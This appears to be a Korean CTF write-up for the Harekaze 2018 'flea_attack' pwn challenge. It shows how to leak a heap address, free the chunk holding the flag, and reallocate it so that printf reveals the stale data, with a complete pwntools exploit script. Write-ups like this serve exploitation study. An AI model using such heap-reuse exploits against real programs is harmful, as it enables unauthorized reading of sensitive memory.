반응형
두 번째 방법
heap에 flag가 저장되어 있음. printf(Name : %s\n)을 이용해서 flag를 출력.
문제 분석
heap 영역에 flag를 저장하고 있는 chunk가 존재한다.
시나리오
맨 처음 heap 영역의 구조는 다음과 같다. 왜 인지는 잘 모르겠지만, FLAG가 heap에 저장되어 있다. 할당된 영역이므로 free가 가능하고 free 시에는 데이터가 초기화되지 않으므로, 위의 두 영역들을 free하고 다시 재할당 받으면 printf(Name : %s\n)을 통해서 FLAG를 읽을 수 있다.
[ heap 영역]
<- ??
<- FLAG가 존재하는 Chunk
<- Top Chunk
우선 위의 할당받은 두 Chunk를 free시키기 위해, 적당한 크기로 공간을 할당받아 heap 주소를 leak한다. 그 뒤, 위에 설명한 바와 같이 새로 공간을 할당받아, FLAG를 읽는다.
exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | from pwn import * def Add_name(size, name, fl = False): r.sendlineafter("> ", str(1)) r.sendlineafter("Size: ", str(size)) r.sendlineafter("Name: ", str(name)) r.recvuntil("Name: ") name = r.recvline() if fl == True: flag = r.recvline() success("flag : " + flag) r.recvuntil("Addr: ") addr = r.recvline() return int(addr,16) def Del_name(ptr): r.sendlineafter("> ", str(2)) r.sendlineafter("Addr: ",str(ptr)) r = process("./flea_attack") #context.log_level = 'debug' r.recvuntil(":") comment = "" comment += "HaHa" r.sendline(comment) # Any comment will do. #raw_input(">") addr1 = Add_name(0x20, "A"*32) # Any size would do, too. log.info("heap address = " + hex(addr1-0x10-0x1010-0x230)) # heap start address ## free ## Del_name(hex(addr1-0x1010-0x230)) # FLAG leading Chunk Del_name(hex(addr1-0x1010)) # FLAG Chunk ## reallocation and FLAG leak ## raw_input(">> Leak") Add_name(0x250, "B"*0x22f, True) r.interactive() | cs |
반응형
'Write-up' 카테고리의 다른 글
[SECURITYFEST 2018] everywhere writeup (0) | 2018.06.03 |
---|---|
[N1CTF 2018] vote write up (0) | 2018.03.14 |
[Harekaze CTF 2018] Flea attack writeup v1 (0) | 2018.02.26 |
[CODEGATE 2018] Super marimo write-up (339) | 2018.02.20 |
[Harekaze CTF 2018] Lost_data writeup (0) | 2018.02.12 |